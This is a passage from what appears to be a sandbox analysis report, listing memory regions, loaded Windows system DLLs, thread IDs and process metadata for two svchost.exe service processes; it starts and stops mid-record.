"c:\\windows\\system32\\setupapi.dll") Region: id = 1590 start_va = 0x7feff4e0000 end_va = 0x7feff550fff entry_point = 0x7feff4e0000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 1591 start_va = 0x7feff560000 end_va = 0x7feff5f8fff entry_point = 0x7feff560000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 1592 start_va = 0x7feff850000 end_va = 0x7feff86efff entry_point = 0x7feff850000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1593 start_va = 0x7feff870000 end_va = 0x7feffa72fff entry_point = 0x7feff870000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1594 start_va = 0x7feffa80000 end_va = 0x7feffb1efff entry_point = 0x7feffa80000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1595 start_va = 0x7feffb80000 end_va = 0x7feffb80fff entry_point = 0x7feffb80000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1596 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 1597 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1598 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 1599 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 1600 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 1601 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 1602 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 1603 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 1604 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 1732 start_va = 0x7fefc540000 end_va = 0x7fefc66bfff entry_point = 0x7fefc540000 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 1791 start_va = 0x7fef8ea0000 end_va = 0x7fef8f24fff entry_point = 0x7fef8ea0000 region_type = mapped_file name = "catsrvut.dll" filename = "\\Windows\\System32\\catsrvut.dll" (normalized: "c:\\windows\\system32\\catsrvut.dll") Region: id = 1792 start_va = 0x7fef9040000 end_va = 0x7fef904bfff entry_point = 0x7fef9040000 region_type = mapped_file name = "mfcsubs.dll" filename = "\\Windows\\System32\\mfcsubs.dll" (normalized: "c:\\windows\\system32\\mfcsubs.dll") Thread: id = 28 os_tid = 0x5ac Thread: id = 29 os_tid = 0x588 Thread: id = 30 os_tid = 0x308 Thread: id = 31 os_tid = 0x6fc Thread: id = 32 os_tid = 0x698 Thread: id = 33 os_tid = 0x30c Thread: id = 34 os_tid = 0x4f8 Thread: id = 48 os_tid = 0x594 Thread: id = 55 os_tid = 0x7f4 Thread: id = 73 os_tid = 0x64c Process: id = "7" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x18692000" os_pid = "0xf0" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "6" os_parent_pid = "0x83c" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EventSystem" [0xe], "NT SERVICE\\fdPHost" [0xa], "NT SERVICE\\lltdsvc" [0xa], "NT SERVICE\\netprofm" [0xa], "NT SERVICE\\nsi" [0xa], "NT SERVICE\\sppuinotify" [0xa], "NT SERVICE\\SstpSvc" [0xa], "NT SERVICE\\THREADORDER" [0xa], "NT SERVICE\\W32Time" [0xa], "NT SERVICE\\WdiServiceHost" [0xa], "NT SERVICE\\WebClient" [0xa], "NT SERVICE\\WinHttpAutoProxySvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000ddc8" [0xc000000f], "LOCAL" [0x7] Region: id = 1617 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1618 start_va = 0x20000 end_va = 0x26fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 1619 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1620 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 1621 start_va = 0x50000 end_va = 0xb6fff entry_point = 0x50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1622 start_va = 0xc0000 end_va = 0x17ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 1623 start_va = 0x180000 end_va = 0x181fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000180000" filename = "" Region: id = 1624 start_va = 0x190000 end_va = 0x20ffff entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 1625 start_va = 0x210000 end_va = 0x210fff entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 1626 start_va = 0x220000 end_va = 0x220fff entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 1627 start_va = 0x230000 end_va = 0x230fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000230000" filename = "" Region: id = 1628 start_va = 0x270000 end_va = 0x271fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 1629 start_va = 0x280000 end_va = 0x37ffff entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 1630 start_va = 0x380000 end_va = 0x47ffff entry_point = 0x0 region_type = private name = "private_0x0000000000380000" filename = "" Region: id = 1631 start_va = 0x480000 end_va = 0x480fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000480000" filename = "" Region: id = 1632 start_va = 0x490000 end_va = 0x49ffff entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 1633 start_va = 0x4a0000 end_va = 0x627fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004a0000" filename = "" Region: id = 1634 start_va = 0x630000 end_va = 0x7b0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000630000" filename = "" Region: id = 1635 start_va = 0x7c0000 end_va = 0xbb2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007c0000" filename = "" Region: id = 1636 start_va = 0xc20000 end_va = 0xc9ffff entry_point = 0x0 region_type = private name = "private_0x0000000000c20000" filename = "" Region: id = 1637 start_va = 0xd00000 end_va = 0xd7ffff entry_point = 0x0 region_type = private name = "private_0x0000000000d00000" filename = "" Region: id = 1638 start_va = 0xef0000 end_va = 0xf6ffff entry_point = 0x0 region_type = private name = "private_0x0000000000ef0000" filename = "" Region: id = 1639 start_va = 0xf90000 end_va = 0x100ffff entry_point = 0x0 region_type = private name = "private_0x0000000000f90000" filename = "" Region: id = 1640 start_va = 0x1080000 end_va = 0x108ffff entry_point = 0x0 region_type = private name = "private_0x0000000001080000" filename = "" Region: id = 1641 start_va = 0x10a0000 end_va = 0x136efff entry_point = 0x10a0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1642 start_va = 0x1370000 end_va = 0x146ffff entry_point = 0x0 region_type = private name = "private_0x0000000001370000" filename = "" Region: id = 1643 start_va = 0x1470000 end_va = 0x156ffff entry_point = 0x0 region_type = private name = "private_0x0000000001470000" filename = "" Region: id = 1644 start_va = 0x15f0000 end_va = 0x166ffff entry_point = 0x0 region_type = private name = "private_0x00000000015f0000" filename = "" Region: id = 1645 start_va = 0x16b0000 end_va = 0x172ffff entry_point = 0x0 region_type = private name = "private_0x00000000016b0000" filename = "" Region: id = 1646 start_va = 0x1870000 end_va = 0x18effff entry_point = 0x0 region_type = private name = "private_0x0000000001870000" filename = "" Region: id = 1647 start_va = 0x1930000 end_va = 0x193ffff entry_point = 0x0 region_type = private name = "private_0x0000000001930000" filename = "" Region: id = 1648 start_va = 0x1960000 end_va = 0x19dffff entry_point = 0x0 region_type = private name = "private_0x0000000001960000" filename = "" Region: id = 1649 start_va = 0x1aa0000 end_va = 0x1b9ffff entry_point = 0x0 region_type = private name = "private_0x0000000001aa0000" filename = "" Region: id = 1650 start_va = 0x1bb0000 end_va = 0x1bbffff entry_point = 0x0 region_type = private name = "private_0x0000000001bb0000" filename = "" Region: id = 1651 start_va = 0x1bc0000 end_va = 0x1c3ffff entry_point = 0x0 region_type = private name = "private_0x0000000001bc0000" filename = "" Region: id = 1652 start_va = 0x1c40000 end_va = 0x1cbffff entry_point = 0x0 region_type = private name = "private_0x0000000001c40000" filename = "" Region: id = 1653 start_va = 0x1cc0000 end_va = 0x1d7ffff entry_point = 0x1cc0000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 1654 start_va = 0x1db0000 end_va = 0x1e2ffff entry_point = 0x0 region_type = private name = "private_0x0000000001db0000" filename = "" Region: id = 1655 start_va = 0x1e60000 end_va = 0x1edffff entry_point = 0x0 region_type = private name = "private_0x0000000001e60000" filename = "" Region: id = 1656 start_va = 0x1f30000 end_va = 0x1faffff entry_point = 0x0 region_type = private name = "private_0x0000000001f30000" filename = "" Region: id = 1657 start_va = 0x1fb0000 end_va = 0x21affff entry_point = 0x0 region_type = private name = "private_0x0000000001fb0000" filename = "" Region: id = 1658 start_va = 0x73f90000 end_va = 0x73f92fff entry_point = 0x73f90000 region_type = mapped_file name = "sfc.dll" filename = "\\Windows\\System32\\sfc.dll" (normalized: "c:\\windows\\system32\\sfc.dll") Region: id = 1659 start_va = 0x77640000 end_va = 0x77739fff entry_point = 0x77640000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1660 start_va = 0x77740000 end_va = 0x7785efff entry_point = 0x77740000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1661 start_va = 0x77860000 end_va = 0x77a08fff entry_point = 0x77860000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1662 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1663 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1664 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1665 start_va = 0xfff20000 end_va = 0xfff2afff entry_point = 0xfff20000 region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 1666 start_va = 0x7fef69e0000 end_va = 0x7fef69ebfff entry_point = 0x7fef69e0000 region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 1667 start_va = 0x7fef6a30000 end_va = 0x7fef6b07fff entry_point = 0x7fef6a30000 region_type = mapped_file name = "perftrack.dll" filename = "\\Windows\\System32\\perftrack.dll" (normalized: "c:\\windows\\system32\\perftrack.dll") Region: id = 1668 start_va = 0x7fef6d60000 end_va = 0x7fef6d67fff entry_point = 0x7fef6d60000 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 1669 start_va = 0x7fef6d70000 end_va = 0x7fef6de3fff entry_point = 0x7fef6d70000 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll") Region: id = 1670 start_va = 0x7fef7b60000 end_va = 0x7fef7b78fff entry_point = 0x7fef7b60000 region_type = mapped_file name = "wdi.dll" filename = "\\Windows\\System32\\wdi.dll" (normalized: "c:\\windows\\system32\\wdi.dll") Region: id = 1671 start_va = 0x7fef7b80000 end_va = 0x7fef7b8ffff entry_point = 0x7fef7b80000 region_type = mapped_file name = "sfc_os.dll" filename = "\\Windows\\System32\\sfc_os.dll" (normalized: "c:\\windows\\system32\\sfc_os.dll") Region: id = 1672 start_va = 0x7fef7b90000 end_va = 0x7fef7ba1fff entry_point = 0x7fef7b90000 region_type = mapped_file name = "aepic.dll" filename = "\\Windows\\System32\\aepic.dll" (normalized: "c:\\windows\\system32\\aepic.dll") Region: id = 1673 start_va = 0x7fef7d00000 end_va = 0x7fef7d63fff entry_point = 0x7fef7d00000 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 1674 start_va = 0x7fef7d70000 end_va = 0x7fef7de0fff entry_point = 0x7fef7d70000 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 1675 start_va = 0x7fef8860000 end_va = 0x7fef88dbfff entry_point = 0x7fef8860000 region_type = mapped_file name = "wer.dll" filename = "\\Windows\\System32\\wer.dll" (normalized: "c:\\windows\\system32\\wer.dll") Region: id = 1676 start_va = 0x7fefaef0000 end_va = 0x7fefaf07fff entry_point = 0x7fefaef0000 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 1677 start_va = 0x7fefaf10000 end_va = 0x7fefaf20fff entry_point = 0x7fefaf10000 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 1678 start_va = 0x7fefafe0000 end_va = 0x7fefb032fff entry_point = 0x7fefafe0000 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 1679 start_va = 0x7fefb110000 end_va = 0x7fefb119fff entry_point = 0x7fefb110000 region_type = mapped_file name = "nsisvc.dll" filename = "\\Windows\\System32\\nsisvc.dll" (normalized: "c:\\windows\\system32\\nsisvc.dll") Region: id = 1680 start_va = 0x7fefb130000 end_va = 0x7fefb13afff entry_point = 0x7fefb130000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 1681 start_va = 0x7fefb140000 end_va = 0x7fefb166fff entry_point = 0x7fefb140000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 1682 start_va = 0x7fefb1c0000 end_va = 0x7fefb226fff entry_point = 0x7fefb1c0000 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 1683 start_va = 0x7fefb300000 end_va = 0x7fefb314fff entry_point = 0x7fefb300000 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 1684 start_va = 0x7fefb990000 end_va = 0x7fefb9a8fff entry_point = 0x7fefb990000 region_type = mapped_file name = "pnrpnsp.dll" filename = "\\Windows\\System32\\pnrpnsp.dll" (normalized: "c:\\windows\\system32\\pnrpnsp.dll") Region: id = 1685 start_va = 0x7fefb9b0000 end_va = 0x7fefb9c4fff entry_point = 0x7fefb9b0000 region_type = mapped_file name = "napinsp.dll" filename = "\\Windows\\System32\\NapiNSP.dll" (normalized: "c:\\windows\\system32\\napinsp.dll") Region: id = 1686 start_va = 0x7fefba30000 end_va = 0x7fefba3afff entry_point = 0x7fefba30000 region_type = mapped_file name = "winrnr.dll" filename = "\\Windows\\System32\\winrnr.dll" (normalized: "c:\\windows\\system32\\winrnr.dll") Region: id = 1687 start_va = 0x7fefbbb0000 end_va = 0x7fefbbc7fff entry_point = 0x7fefbbb0000 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 1688 start_va = 0x7fefc970000 end_va = 0x7fefc97bfff entry_point = 0x7fefc970000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 1689 start_va = 0x7fefca40000 end_va = 0x7fefca46fff entry_point = 0x7fefca40000 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 1690 start_va = 0x7fefcb30000 end_va = 0x7fefcb4afff entry_point = 0x7fefcb30000 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 1691 start_va = 0x7fefcca0000 end_va = 0x7fefcca9fff entry_point = 0x7fefcca0000 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 1692 start_va = 0x7fefcda0000 end_va = 0x7fefcde6fff entry_point = 0x7fefcda0000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1693 start_va = 0x7fefcec0000 end_va = 0x7fefcf1afff entry_point = 0x7fefcec0000 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 1694 start_va = 0x7fefd030000 end_va = 0x7fefd036fff entry_point = 0x7fefd030000 region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 1695 start_va = 0x7fefd040000 end_va = 0x7fefd094fff entry_point = 0x7fefd040000 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 1696 start_va = 0x7fefd0a0000 end_va = 0x7fefd0b6fff entry_point = 0x7fefd0a0000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 1697 start_va = 0x7fefd640000 end_va = 0x7fefd64afff entry_point = 0x7fefd640000 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 1698 start_va = 0x7fefd670000 end_va = 0x7fefd694fff entry_point = 0x7fefd670000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 1699 start_va = 0x7fefd6a0000 end_va = 0x7fefd6aefff entry_point = 0x7fefd6a0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 1700 start_va = 0x7fefd6b0000 end_va = 0x7fefd740fff entry_point = 0x7fefd6b0000 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll") Region: id = 1701 start_va = 0x7fefd790000 end_va = 0x7fefd7a3fff entry_point = 0x7fefd790000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 1702 start_va = 0x7fefd900000 end_va = 0x7fefd96afff entry_point = 0x7fefd900000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1703 start_va = 0x7fefdb80000 end_va = 0x7fefdc48fff entry_point = 0x7fefdb80000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 1704 start_va = 0x7fefdc50000 end_va = 0x7fefdd26fff entry_point = 0x7fefdc50000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1705 start_va = 0x7fefdd30000 end_va = 0x7fefdd3dfff entry_point = 0x7fefdd30000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 1706 start_va = 0x7fefdd40000 end_va = 0x7fefdd6dfff entry_point = 0x7fefdd40000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1707 start_va = 0x7fefdef0000 end_va = 0x7fefdef7fff entry_point = 0x7fefdef0000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 1708 start_va = 0x7fefed10000 end_va = 0x7fefed76fff entry_point = 0x7fefed10000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1709 start_va = 0x7fefed80000 end_va = 0x7fefee88fff entry_point = 0x7fefed80000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1710 start_va = 0x7feff0f0000 end_va = 0x7feff1cafff entry_point = 0x7feff0f0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1711 start_va = 0x7feff1d0000 end_va = 0x7feff2fcfff entry_point = 0x7feff1d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1712 start_va = 0x7feff4e0000 end_va = 0x7feff550fff entry_point = 0x7feff4e0000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 1713 start_va = 0x7feff560000 end_va = 0x7feff5f8fff entry_point = 0x7feff560000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 1714 start_va = 0x7feff850000 end_va = 0x7feff86efff entry_point = 0x7feff850000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1715 start_va = 0x7feff870000 end_va = 0x7feffa72fff entry_point = 0x7feff870000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1716 start_va = 0x7feffa80000 end_va = 0x7feffb1efff entry_point = 0x7feffa80000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1717 start_va = 0x7feffb20000 end_va = 0x7feffb6cfff entry_point = 0x7feffb20000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 1718 start_va = 0x7feffb80000 end_va = 0x7feffb80fff entry_point = 0x7feffb80000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1719 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 1720 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 1721 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 1722 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 1723 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 1724 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 1725 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1726 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 1727 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 1728 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 1729 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 1730 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 1731 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Thread: id = 35 os_tid = 0xbc4 Thread: id = 36 os_tid = 0xb34 Thread: id = 37 os_tid = 0x9d8 Thread: id = 38 os_tid = 0x7ac Thread: id = 39 os_tid = 0x7a8 Thread: id = 40 os_tid = 0x77c Thread: id = 41 os_tid = 0x758 Thread: id = 42 os_tid = 0x754 Thread: id = 43 os_tid = 0x158 Thread: id = 44 os_tid = 0x12c Thread: id = 45 os_tid = 0x11c Thread: id = 46 os_tid = 0xc0 Thread: id = 47 os_tid = 0x4b4 Thread: id = 56 os_tid = 0x8b8 Thread: id = 71 os_tid = 0x950 Thread: id = 79 os_tid = 0x9f8 Thread: id = 80 os_tid = 0xa10 Process: id = "8" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x6ac3a000" os_pid = "0x5bc" os_integrity_level = "0x4000" os_privileges = "0x60814080" monitor_reason = "rpc_server" parent_id = "6" os_parent_pid = "0x83c" cmd_line = "C:\\Windows\\System32\\svchost.exe -k swprv" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\swprv" [0xe], "NT AUTHORITY\\Logon Session 00000000:00052d07" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 1912 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1913 start_va = 0x20000 end_va = 0x26fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 1914 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1915 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 1916 start_va = 